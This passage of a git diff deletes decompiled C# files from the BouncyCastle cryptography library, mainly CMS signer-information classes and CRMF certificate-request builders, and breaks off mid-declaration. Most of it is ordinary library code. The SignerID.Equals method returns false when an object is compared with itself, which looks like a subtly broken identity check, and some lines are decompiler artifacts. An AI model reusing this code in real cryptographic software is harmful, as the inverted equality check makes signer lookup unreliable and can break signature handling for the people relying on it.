RecipientInformation GetFirstRecipient(RecipientID selector) - { - IList list = (IList)table[selector]; - if (list != null) - { - return (RecipientInformation)list[0]; - } - return null; - } - - public ICollection GetRecipients() - { - return Platform.CreateArrayList(all); - } - - public ICollection GetRecipients(RecipientID selector) - { - IList list = (IList)table[selector]; - if (list != null) - { - return Platform.CreateArrayList(list); - } - return Platform.CreateArrayList(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerID.cs deleted file mode 100644 index 38c7ff5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerID.cs +++ /dev/null @@ -1,42 +0,0 @@ -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Cms; - -public class SignerID : X509CertStoreSelector -{ - public override int GetHashCode() - { - int num = Arrays.GetHashCode(base.SubjectKeyIdentifier); - BigInteger bigInteger = base.SerialNumber; - if (bigInteger != null) - { - num ^= bigInteger.GetHashCode(); - } - X509Name x509Name = base.Issuer; - if (x509Name != null) - { - num ^= x509Name.GetHashCode(); - } - return num; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return false; - } - if (!(obj is SignerID signerID)) - { - return false; - } - if (Arrays.AreEqual(base.SubjectKeyIdentifier, signerID.SubjectKeyIdentifier) && object.Equals(base.SerialNumber, signerID.SerialNumber)) - { - return X509CertStoreSelector.IssuersMatch(base.Issuer, signerID.Issuer); - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerInfoGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerInfoGenerator.cs deleted file mode 100644 index 929ce2e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerInfoGenerator.cs +++ /dev/null @@ -1,56 +0,0 @@ -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Cms; - -public class SignerInfoGenerator -{ - internal X509Certificate certificate; - - internal ISignatureFactory contentSigner; - - internal SignerIdentifier sigId; - - internal CmsAttributeTableGenerator signedGen; - - internal CmsAttributeTableGenerator unsignedGen; - - private bool isDirectSignature; - - internal SignerInfoGenerator(SignerIdentifier sigId, ISignatureFactory signerFactory) - : this(sigId, signerFactory, isDirectSignature: false) - { - } - - internal SignerInfoGenerator(SignerIdentifier sigId, ISignatureFactory signerFactory, bool isDirectSignature) - { - this.sigId = sigId; - contentSigner = signerFactory; - this.isDirectSignature = isDirectSignature; - if (this.isDirectSignature) - { - signedGen = null; - unsignedGen = null; - } - else - { - signedGen = new DefaultSignedAttributeTableGenerator(); - unsignedGen = null; - } - } - - internal SignerInfoGenerator(SignerIdentifier sigId, ISignatureFactory contentSigner, CmsAttributeTableGenerator signedGen, CmsAttributeTableGenerator unsignedGen) - { - this.sigId = sigId; - this.contentSigner = contentSigner; - this.signedGen = signedGen; - this.unsignedGen = unsignedGen; - isDirectSignature = false; - } - - internal void setAssociatedCertificate(X509Certificate certificate) - { - this.certificate = certificate; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerInfoGeneratorBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerInfoGeneratorBuilder.cs deleted file mode 100644 index 666ff73..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerInfoGeneratorBuilder.cs +++ /dev/null @@ -1,64 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Cms; - -public class SignerInfoGeneratorBuilder -{ - private bool directSignature; - - private CmsAttributeTableGenerator signedGen; - - private CmsAttributeTableGenerator unsignedGen; - - public SignerInfoGeneratorBuilder SetDirectSignature(bool hasNoSignedAttributes) - { - directSignature = hasNoSignedAttributes; - return this; - } - - public SignerInfoGeneratorBuilder WithSignedAttributeGenerator(CmsAttributeTableGenerator signedGen) - { - this.signedGen = signedGen; - return this; - } - - public SignerInfoGeneratorBuilder WithUnsignedAttributeGenerator(CmsAttributeTableGenerator unsignedGen) - { - this.unsignedGen = unsignedGen; - return this; - } - - public SignerInfoGenerator Build(ISignatureFactory contentSigner, X509Certificate certificate) - { - SignerIdentifier sigId = new SignerIdentifier(new IssuerAndSerialNumber(certificate.IssuerDN, new DerInteger(certificate.SerialNumber))); - SignerInfoGenerator signerInfoGenerator = CreateGenerator(contentSigner, sigId); - signerInfoGenerator.setAssociatedCertificate(certificate); - return signerInfoGenerator; - } - - public SignerInfoGenerator Build(ISignatureFactory signerFactory, byte[] subjectKeyIdentifier) - { - SignerIdentifier sigId = new SignerIdentifier(new DerOctetString(subjectKeyIdentifier)); - return CreateGenerator(signerFactory, sigId); - } - - private SignerInfoGenerator CreateGenerator(ISignatureFactory contentSigner, SignerIdentifier sigId) - { - if (directSignature) - { - return new SignerInfoGenerator(sigId, contentSigner, isDirectSignature: true); - } - if (signedGen != null || unsignedGen != null) - { - if (signedGen == null) - { - signedGen = new DefaultSignedAttributeTableGenerator(); - } - return new SignerInfoGenerator(sigId, contentSigner, signedGen, unsignedGen); - } - return new SignerInfoGenerator(sigId, contentSigner); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerInformation.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerInformation.cs deleted file mode 100644 index 9c8960d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerInformation.cs +++ /dev/null @@ -1,526 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Cms; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Engines; -using Org.BouncyCastle.Crypto.IO; -using Org.BouncyCastle.Crypto.Signers; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Cms; - -public class SignerInformation -{ - private static readonly CmsSignedHelper Helper = CmsSignedHelper.Instance; - - private SignerID sid; - - private Org.BouncyCastle.Asn1.Cms.SignerInfo info; - - private AlgorithmIdentifier digestAlgorithm; - - private AlgorithmIdentifier encryptionAlgorithm; - - private readonly Asn1Set signedAttributeSet; - - private readonly Asn1Set unsignedAttributeSet; - - private CmsProcessable content; - - private byte[] signature; - - private DerObjectIdentifier contentType; - - private IDigestCalculator digestCalculator; - - private byte[] resultDigest; - - private Org.BouncyCastle.Asn1.Cms.AttributeTable signedAttributeTable; - - private Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttributeTable; - - private readonly bool isCounterSignature; - - public bool IsCounterSignature => isCounterSignature; - - public DerObjectIdentifier ContentType => contentType; - - public SignerID SignerID => sid; - - public int Version => info.Version.Value.IntValue; - - public AlgorithmIdentifier DigestAlgorithmID => digestAlgorithm; - - public string DigestAlgOid => digestAlgorithm.Algorithm.Id; - - public Asn1Object DigestAlgParams => digestAlgorithm.Parameters?.ToAsn1Object(); - - public AlgorithmIdentifier EncryptionAlgorithmID => encryptionAlgorithm; - - public string EncryptionAlgOid => encryptionAlgorithm.Algorithm.Id; - - public Asn1Object EncryptionAlgParams => encryptionAlgorithm.Parameters?.ToAsn1Object(); - - public Org.BouncyCastle.Asn1.Cms.AttributeTable SignedAttributes - { - get - { - if (signedAttributeSet != null && signedAttributeTable == null) - { - signedAttributeTable = new Org.BouncyCastle.Asn1.Cms.AttributeTable(signedAttributeSet); - } - return signedAttributeTable; - } - } - - public Org.BouncyCastle.Asn1.Cms.AttributeTable UnsignedAttributes - { - get - { - if (unsignedAttributeSet != null && unsignedAttributeTable == null) - { - unsignedAttributeTable = new Org.BouncyCastle.Asn1.Cms.AttributeTable(unsignedAttributeSet); - } - return unsignedAttributeTable; - } - } - - internal SignerInformation(Org.BouncyCastle.Asn1.Cms.SignerInfo info, DerObjectIdentifier contentType, CmsProcessable content, IDigestCalculator digestCalculator) - { - this.info = info; - sid = new SignerID(); - this.contentType = contentType; - isCounterSignature = contentType == null; - try - { - SignerIdentifier signerID = info.SignerID; - if (signerID.IsTagged) - { - Asn1OctetString instance = Asn1OctetString.GetInstance(signerID.ID); - sid.SubjectKeyIdentifier = instance.GetEncoded(); - } - else - { - Org.BouncyCastle.Asn1.Cms.IssuerAndSerialNumber instance2 = Org.BouncyCastle.Asn1.Cms.IssuerAndSerialNumber.GetInstance(signerID.ID); - sid.Issuer = instance2.Name; - sid.SerialNumber = instance2.SerialNumber.Value; - } - } - catch (IOException) - { - throw new ArgumentException("invalid sid in SignerInfo"); - } - digestAlgorithm = info.DigestAlgorithm; - signedAttributeSet = info.AuthenticatedAttributes; - unsignedAttributeSet = info.UnauthenticatedAttributes; - encryptionAlgorithm = info.DigestEncryptionAlgorithm; - signature = info.EncryptedDigest.GetOctets(); - this.content = content; - this.digestCalculator = digestCalculator; - } - - protected SignerInformation(SignerInformation baseInfo) - { - info = baseInfo.info; - contentType = baseInfo.contentType; - isCounterSignature = baseInfo.IsCounterSignature; - sid = baseInfo.SignerID; - digestAlgorithm = info.DigestAlgorithm; - signedAttributeSet = info.AuthenticatedAttributes; - unsignedAttributeSet = info.UnauthenticatedAttributes; - encryptionAlgorithm = info.DigestEncryptionAlgorithm; - signature = info.EncryptedDigest.GetOctets(); - content = baseInfo.content; - resultDigest = baseInfo.resultDigest; - signedAttributeTable = baseInfo.signedAttributeTable; - unsignedAttributeTable = baseInfo.unsignedAttributeTable; - } - - public byte[] GetContentDigest() - { - if (resultDigest == null) - { - throw new InvalidOperationException("method can only be called after verify."); - } - return (byte[])resultDigest.Clone(); - } - - public byte[] GetSignature() - { - return (byte[])signature.Clone(); - } - - public SignerInformationStore GetCounterSignatures() - { - Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttributes = UnsignedAttributes; - if (unsignedAttributes == null) - { - return new SignerInformationStore(Platform.CreateArrayList(0)); - } - IList list = Platform.CreateArrayList(); - Asn1EncodableVector all = unsignedAttributes.GetAll(CmsAttributes.CounterSignature); - foreach (Org.BouncyCastle.Asn1.Cms.Attribute item in all) - { - Asn1Set attrValues = item.AttrValues; - _ = attrValues.Count; - _ = 1; - foreach (Asn1Encodable item2 in attrValues) - { - Org.BouncyCastle.Asn1.Cms.SignerInfo instance = Org.BouncyCastle.Asn1.Cms.SignerInfo.GetInstance(item2.ToAsn1Object()); - string digestAlgName = CmsSignedHelper.Instance.GetDigestAlgName(instance.DigestAlgorithm.Algorithm.Id); - list.Add(new SignerInformation(instance, null, null, new CounterSignatureDigestCalculator(digestAlgName, GetSignature()))); - } - } - return new SignerInformationStore(list); - } - - public byte[] GetEncodedSignedAttributes() - { - if (signedAttributeSet != null) - { - return signedAttributeSet.GetEncoded("DER"); - } - return null; - } - - private bool DoVerify(AsymmetricKeyParameter key) - { - string digestAlgName = Helper.GetDigestAlgName(DigestAlgOid); - IDigest digestInstance = Helper.GetDigestInstance(digestAlgName); - DerObjectIdentifier algorithm = encryptionAlgorithm.Algorithm; - Asn1Encodable parameters = encryptionAlgorithm.Parameters; - ISigner signer; - if (algorithm.Equals(PkcsObjectIdentifiers.IdRsassaPss)) - { - if (parameters == null) - { - throw new CmsException("RSASSA-PSS signature must specify algorithm parameters"); - } - try - { - RsassaPssParameters instance = RsassaPssParameters.GetInstance(parameters.ToAsn1Object()); - if (!instance.HashAlgorithm.Algorithm.Equals(digestAlgorithm.Algorithm)) - { - throw new CmsException("RSASSA-PSS signature parameters specified incorrect hash algorithm"); - } - if (!instance.MaskGenAlgorithm.Algorithm.Equals(PkcsObjectIdentifiers.IdMgf1)) - { - throw new CmsException("RSASSA-PSS signature parameters specified unknown MGF"); - } - IDigest digest = DigestUtilities.GetDigest(instance.HashAlgorithm.Algorithm); - int intValue = instance.SaltLength.Value.IntValue; - byte b = (byte)instance.TrailerField.Value.IntValue; - if (b != 1) - { - throw new CmsException("RSASSA-PSS signature parameters must have trailerField of 1"); - } - signer = new PssSigner(new RsaBlindedEngine(), digest, intValue); - } - catch (Exception e) - { - throw new CmsException("failed to set RSASSA-PSS signature parameters", e); - } - } - else - { - string algorithm2 = digestAlgName + "with" + Helper.GetEncryptionAlgName(EncryptionAlgOid); - signer = Helper.GetSignatureInstance(algorithm2); - } - try - { - if (digestCalculator != null) - { - resultDigest = digestCalculator.GetDigest(); - } - else - { - if (content != null) - { - content.Write(new DigestSink(digestInstance)); - } - else if (signedAttributeSet == null) - { - throw new CmsException("data not encapsulated in signature - use detached constructor."); - } - resultDigest = DigestUtilities.DoFinal(digestInstance); - } - } - catch (IOException e2) - { - throw new CmsException("can't process mime object to create signature.", e2); - } - Asn1Object singleValuedSignedAttribute = GetSingleValuedSignedAttribute(CmsAttributes.ContentType, "content-type"); - if (singleValuedSignedAttribute == null) - { - if (!isCounterSignature && signedAttributeSet != null) - { - throw new CmsException("The content-type attribute type MUST be present whenever signed attributes are present in signed-data"); - } - } - else - { - if (isCounterSignature) - { - throw new CmsException("[For counter signatures,] the signedAttributes field MUST NOT contain a content-type attribute"); - } - if (!(singleValuedSignedAttribute is DerObjectIdentifier)) - { - throw new CmsException("content-type attribute value not of ASN.1 type 'OBJECT IDENTIFIER'"); - } - DerObjectIdentifier derObjectIdentifier = (DerObjectIdentifier)singleValuedSignedAttribute; - if (!derObjectIdentifier.Equals(contentType)) - { - throw new CmsException("content-type attribute value does not match eContentType"); - } - } - Asn1Object singleValuedSignedAttribute2 = GetSingleValuedSignedAttribute(CmsAttributes.MessageDigest, "message-digest"); - if (singleValuedSignedAttribute2 == null) - { - if (signedAttributeSet != null) - { - throw new CmsException("the message-digest signed attribute type MUST be present when there are any signed attributes present"); - } - } - else - { - if (!(singleValuedSignedAttribute2 is Asn1OctetString)) - { - throw new CmsException("message-digest attribute value not of ASN.1 type 'OCTET STRING'"); - } - Asn1OctetString asn1OctetString = (Asn1OctetString)singleValuedSignedAttribute2; - if (!Arrays.AreEqual(resultDigest, asn1OctetString.GetOctets())) - { - throw new CmsException("message-digest attribute value does not match calculated value"); - } - } - Org.BouncyCastle.Asn1.Cms.AttributeTable signedAttributes = SignedAttributes; - if (signedAttributes != null && signedAttributes.GetAll(CmsAttributes.CounterSignature).Count > 0) - { - throw new CmsException("A countersignature attribute MUST NOT be a signed attribute"); - } - Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttributes = UnsignedAttributes; - if (unsignedAttributes != null) - { - foreach (Org.BouncyCastle.Asn1.Cms.Attribute item in unsignedAttributes.GetAll(CmsAttributes.CounterSignature)) - { - if (item.AttrValues.Count < 1) - { - throw new CmsException("A countersignature attribute MUST contain at least one AttributeValue"); - } - } - } - try - { - signer.Init(forSigning: false, key); - if (signedAttributeSet == null) - { - if (digestCalculator != null) - { - return VerifyDigest(resultDigest, key, GetSignature()); - } - if (content != null) - { - try - { - content.Write(new SignerSink(signer)); - } - catch (SignatureException ex) - { - throw new CmsStreamException("signature problem: " + ex); - } - } - } - else - { - byte[] encodedSignedAttributes = GetEncodedSignedAttributes(); - signer.BlockUpdate(encodedSignedAttributes, 0, encodedSignedAttributes.Length); - } - return signer.VerifySignature(GetSignature()); - } - catch (InvalidKeyException e3) - { - throw new CmsException("key not appropriate to signature in message.", e3); - } - catch (IOException e4) - { - throw new CmsException("can't process mime object to create signature.", e4); - } - catch (SignatureException ex2) - { - throw new CmsException("invalid signature format in message: " + ex2.Message, ex2); - } - } - - private bool IsNull(Asn1Encodable o) - { - if (!(o is Asn1Null)) - { - return o == null; - } - return true; - } - - private DigestInfo DerDecode(byte[] encoding) - { - if (encoding[0] != 48) - { - throw new IOException("not a digest info object"); - } - DigestInfo instance = DigestInfo.GetInstance(Asn1Object.FromByteArray(encoding)); - if (instance.GetEncoded().Length != encoding.Length) - { - throw new CmsException("malformed RSA signature"); - } - return instance; - } - - private bool VerifyDigest(byte[] digest, AsymmetricKeyParameter key, byte[] signature) - { - string encryptionAlgName = Helper.GetEncryptionAlgName(EncryptionAlgOid); - try - { - if (encryptionAlgName.Equals("RSA")) - { - IBufferedCipher bufferedCipher = CmsEnvelopedHelper.Instance.CreateAsymmetricCipher("RSA/ECB/PKCS1Padding"); - bufferedCipher.Init(forEncryption: false, key); - byte[] encoding = bufferedCipher.DoFinal(signature); - DigestInfo digestInfo = DerDecode(encoding); - if (!digestInfo.AlgorithmID.Algorithm.Equals(digestAlgorithm.Algorithm)) - { - return false; - } - if (!IsNull(digestInfo.AlgorithmID.Parameters)) - { - return false; - } - byte[] digest2 = digestInfo.GetDigest(); - return Arrays.ConstantTimeAreEqual(digest, digest2); - } - if (encryptionAlgName.Equals("DSA")) - { - ISigner signer = SignerUtilities.GetSigner("NONEwithDSA"); - signer.Init(forSigning: false, key); - signer.BlockUpdate(digest, 0, digest.Length); - return signer.VerifySignature(signature); - } - throw new CmsException("algorithm: " + encryptionAlgName + " not supported in base signatures."); - } - catch (SecurityUtilityException ex) - { - throw ex; - } - catch (GeneralSecurityException ex2) - { - throw new CmsException("Exception processing signature: " + ex2, ex2); - } - catch (IOException ex3) - { - throw new CmsException("Exception decoding signature: " + ex3, ex3); - } - } - - public bool Verify(AsymmetricKeyParameter pubKey) - { - if (pubKey.IsPrivate) - { - throw new ArgumentException("Expected public key", "pubKey"); - } - GetSigningTime(); - return DoVerify(pubKey); - } - - public bool Verify(X509Certificate cert) - { - Org.BouncyCastle.Asn1.Cms.Time signingTime = GetSigningTime(); - if (signingTime != null) - { - cert.CheckValidity(signingTime.Date); - } - return DoVerify(cert.GetPublicKey()); - } - - public Org.BouncyCastle.Asn1.Cms.SignerInfo ToSignerInfo() - { - return info; - } - - private Asn1Object GetSingleValuedSignedAttribute(DerObjectIdentifier attrOID, string printableName) - { - Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttributes = UnsignedAttributes; - if (unsignedAttributes != null && unsignedAttributes.GetAll(attrOID).Count > 0) - { - throw new CmsException("The " + printableName + " attribute MUST NOT be an unsigned attribute"); - } - Org.BouncyCastle.Asn1.Cms.AttributeTable signedAttributes = SignedAttributes; - if (signedAttributes == null) - { - return null; - } - Asn1EncodableVector all = signedAttributes.GetAll(attrOID); - switch (all.Count) - { - case 0: - return null; - case 1: - { - Org.BouncyCastle.Asn1.Cms.Attribute attribute = (Org.BouncyCastle.Asn1.Cms.Attribute)all[0]; - Asn1Set attrValues = attribute.AttrValues; - if (attrValues.Count != 1) - { - throw new CmsException("A " + printableName + " attribute MUST have a single attribute value"); - } - return attrValues[0].ToAsn1Object(); - } - default: - throw new CmsException("The SignedAttributes in a signerInfo MUST NOT include multiple instances of the " + printableName + " attribute"); - } - } - - private Org.BouncyCastle.Asn1.Cms.Time GetSigningTime() - { - Asn1Object singleValuedSignedAttribute = GetSingleValuedSignedAttribute(CmsAttributes.SigningTime, "signing-time"); - if (singleValuedSignedAttribute == null) - { - return null; - } - try - { - return Org.BouncyCastle.Asn1.Cms.Time.GetInstance(singleValuedSignedAttribute); - } - catch (ArgumentException) - { - throw new CmsException("signing-time attribute value not a valid 'Time' structure"); - } - } - - public static SignerInformation ReplaceUnsignedAttributes(SignerInformation signerInformation, Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttributes) - { - Org.BouncyCastle.Asn1.Cms.SignerInfo signerInfo = signerInformation.info; - Asn1Set unauthenticatedAttributes = null; - if (unsignedAttributes != null) - { - unauthenticatedAttributes = new DerSet(unsignedAttributes.ToAsn1EncodableVector()); - } - return new SignerInformation(new Org.BouncyCastle.Asn1.Cms.SignerInfo(signerInfo.SignerID, signerInfo.DigestAlgorithm, signerInfo.AuthenticatedAttributes, signerInfo.DigestEncryptionAlgorithm, signerInfo.EncryptedDigest, unauthenticatedAttributes), signerInformation.contentType, signerInformation.content, null); - } - - public static SignerInformation AddCounterSigners(SignerInformation signerInformation, SignerInformationStore counterSigners) - { - Org.BouncyCastle.Asn1.Cms.SignerInfo signerInfo = signerInformation.info; - Org.BouncyCastle.Asn1.Cms.AttributeTable unsignedAttributes = signerInformation.UnsignedAttributes; - Asn1EncodableVector asn1EncodableVector = ((unsignedAttributes == null) ? new Asn1EncodableVector() : unsignedAttributes.ToAsn1EncodableVector()); - Asn1EncodableVector asn1EncodableVector2 = new Asn1EncodableVector(); - foreach (SignerInformation signer in counterSigners.GetSigners()) - { - asn1EncodableVector2.Add(signer.ToSignerInfo()); - } - asn1EncodableVector.Add(new Org.BouncyCastle.Asn1.Cms.Attribute(CmsAttributes.CounterSignature, new DerSet(asn1EncodableVector2))); - return new SignerInformation(new Org.BouncyCastle.Asn1.Cms.SignerInfo(signerInfo.SignerID, signerInfo.DigestAlgorithm, signerInfo.AuthenticatedAttributes, signerInfo.DigestEncryptionAlgorithm, signerInfo.EncryptedDigest, new DerSet(asn1EncodableVector)), signerInformation.contentType, signerInformation.content, null); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerInformationStore.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerInformationStore.cs deleted file mode 100644 index 2f19263..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SignerInformationStore.cs +++ /dev/null @@ -1,61 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Cms; - -public class SignerInformationStore -{ - private readonly IList all; - - private readonly IDictionary table = Platform.CreateHashtable(); - - public int Count => all.Count; - - public SignerInformationStore(SignerInformation signerInfo) - { - all = Platform.CreateArrayList(1); - all.Add(signerInfo); - SignerID signerID = signerInfo.SignerID; - table[signerID] = all; - } - - public SignerInformationStore(ICollection signerInfos) - { - foreach (SignerInformation signerInfo in signerInfos) - { - SignerID signerID = signerInfo.SignerID; - IList list = (IList)table[signerID]; - if (list == null) - { - list = (IList)(table[signerID] = Platform.CreateArrayList(1)); - } - list.Add(signerInfo); - } - all = Platform.CreateArrayList(signerInfos); - } - - public SignerInformation GetFirstSigner(SignerID selector) - { - IList list = (IList)table[selector]; - if (list != null) - { - return (SignerInformation)list[0]; - } - return null; - } - - public ICollection GetSigners() - { - return Platform.CreateArrayList(all); - } - - public ICollection GetSigners(SignerID selector) - { - IList list = (IList)table[selector]; - if (list != null) - { - return Platform.CreateArrayList(list); - } - return Platform.CreateArrayList(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SimpleAttributeTableGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SimpleAttributeTableGenerator.cs deleted file mode 100644 index 63b8006..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Cms/SimpleAttributeTableGenerator.cs +++ /dev/null @@ -1,19 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Asn1.Cms; - -namespace Org.BouncyCastle.Cms; - -public class SimpleAttributeTableGenerator : CmsAttributeTableGenerator -{ - private readonly AttributeTable attributes; - - public SimpleAttributeTableGenerator(AttributeTable attributes) - { - this.attributes = attributes; - } - - public virtual AttributeTable GetAttributes(IDictionary parameters) - { - return attributes; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/AuthenticatorControl.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/AuthenticatorControl.cs deleted file mode 100644 index 680ce23..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/AuthenticatorControl.cs +++ /dev/null @@ -1,25 +0,0 @@ -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Crmf; - -namespace Org.BouncyCastle.Crmf; - -public class AuthenticatorControl : IControl -{ - private static readonly DerObjectIdentifier type = CrmfObjectIdentifiers.id_regCtrl_authenticator; - - private readonly DerUtf8String token; - - public DerObjectIdentifier Type => type; - - public Asn1Encodable Value => token; - - public AuthenticatorControl(DerUtf8String token) - { - this.token = token; - } - - public AuthenticatorControl(string token) - { - this.token = new DerUtf8String(token); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/CertificateRequestMessage.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/CertificateRequestMessage.cs deleted file mode 100644 index 595e92f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/CertificateRequestMessage.cs +++ /dev/null @@ -1,159 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Operators; - -namespace Org.BouncyCastle.Crmf; - -public class CertificateRequestMessage -{ - public static readonly int popRaVerified = 0; - - public static readonly int popSigningKey = 1; - - public static readonly int popKeyEncipherment = 2; - - public static readonly int popKeyAgreement = 3; - - private readonly CertReqMsg certReqMsg; - - private readonly Controls controls; - - public bool HasControls => controls != null; - - public bool HasProofOfPossession => certReqMsg.Popo != null; - - public int ProofOfPossession => certReqMsg.Popo.Type; - - public bool HasSigningKeyProofOfPossessionWithPkMac - { - get - { - ProofOfPossession popo = certReqMsg.Popo; - if (popo.Type == popSigningKey) - { - PopoSigningKey instance = PopoSigningKey.GetInstance(popo.Object); - return instance.PoposkInput.PublicKeyMac != null; - } - return false; - } - } - - private static CertReqMsg ParseBytes(byte[] encoding) - { - return CertReqMsg.GetInstance(encoding); - } - - public CertificateRequestMessage(byte[] encoded) - : this(CertReqMsg.GetInstance(encoded)) - { - } - - public CertificateRequestMessage(CertReqMsg certReqMsg) - { - this.certReqMsg = certReqMsg; - controls = certReqMsg.CertReq.Controls; - } - - public CertReqMsg ToAsn1Structure() - { - return certReqMsg; - } - - public CertTemplate GetCertTemplate() - { - return certReqMsg.CertReq.CertTemplate; - } - - public bool HasControl(DerObjectIdentifier objectIdentifier) - { - return FindControl(objectIdentifier) != null; - } - - public IControl GetControl(DerObjectIdentifier type) - { - AttributeTypeAndValue attributeTypeAndValue = FindControl(type); - if (attributeTypeAndValue != null) - { - if (attributeTypeAndValue.Type.Equals(CrmfObjectIdentifiers.id_regCtrl_pkiArchiveOptions)) - { - return new PkiArchiveControl(PkiArchiveOptions.GetInstance(attributeTypeAndValue.Value)); - } - if (attributeTypeAndValue.Type.Equals(CrmfObjectIdentifiers.id_regCtrl_regToken)) - { - return new RegTokenControl(DerUtf8String.GetInstance(attributeTypeAndValue.Value)); - } - if (attributeTypeAndValue.Type.Equals(CrmfObjectIdentifiers.id_regCtrl_authenticator)) - { - return new AuthenticatorControl(DerUtf8String.GetInstance(attributeTypeAndValue.Value)); - } - } - return null; - } - - public AttributeTypeAndValue FindControl(DerObjectIdentifier type) - { - if (controls == null) - { - return null; - } - AttributeTypeAndValue[] array = controls.ToAttributeTypeAndValueArray(); - AttributeTypeAndValue result = null; - for (int i = 0; i < array.Length; i++) - { - if (array[i].Type.Equals(type)) - { - result = array[i]; - break; - } - } - return result; - } - - public bool IsValidSigningKeyPop(IVerifierFactoryProvider verifierProvider) - { - ProofOfPossession popo = certReqMsg.Popo; - if (popo.Type == popSigningKey) - { - PopoSigningKey instance = PopoSigningKey.GetInstance(popo.Object); - if (instance.PoposkInput != null && instance.PoposkInput.PublicKeyMac != null) - { - throw new InvalidOperationException("verification requires password check"); - } - return verifySignature(verifierProvider, instance); - } - throw new InvalidOperationException("not Signing Key type of proof of possession"); - } - - private bool verifySignature(IVerifierFactoryProvider verifierFactoryProvider, PopoSigningKey signKey) - { - IStreamCalculator streamCalculator; - try - { - IVerifierFactory verifierFactory = verifierFactoryProvider.CreateVerifierFactory(signKey.AlgorithmIdentifier); - streamCalculator = verifierFactory.CreateCalculator(); - } - catch (Exception ex) - { - throw new CrmfException("unable to create verifier: " + ex.Message, ex); - } - if (signKey.PoposkInput != null) - { - byte[] derEncoded = signKey.GetDerEncoded(); - streamCalculator.Stream.Write(derEncoded, 0, derEncoded.Length); - } - else - { - byte[] derEncoded2 = certReqMsg.CertReq.GetDerEncoded(); - streamCalculator.Stream.Write(derEncoded2, 0, derEncoded2.Length); - } - DefaultVerifierResult defaultVerifierResult = (DefaultVerifierResult)streamCalculator.GetResult(); - return defaultVerifierResult.IsVerified(signKey.Signature.GetBytes()); - } - - public byte[] GetEncoded() - { - return certReqMsg.GetEncoded(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/CertificateRequestMessageBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/CertificateRequestMessageBuilder.cs deleted file mode 100644 index f24ad71..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crmf/CertificateRequestMessageBuilder.cs +++ /dev/null @@ -1,236 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Crmf; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crmf; - -public class CertificateRequestMessageBuilder -{ - private readonly BigInteger _certReqId; - - private X509ExtensionsGenerator _extGenerator; - - private CertTemplateBuilder _templateBuilder; - - private IList _controls = Platform.CreateArrayList(); - - private ISignatureFactory _popSigner; - - private PKMacBuilder _pkMacBuilder; - - private char[] _password; - - private GeneralName _sender; - - private int 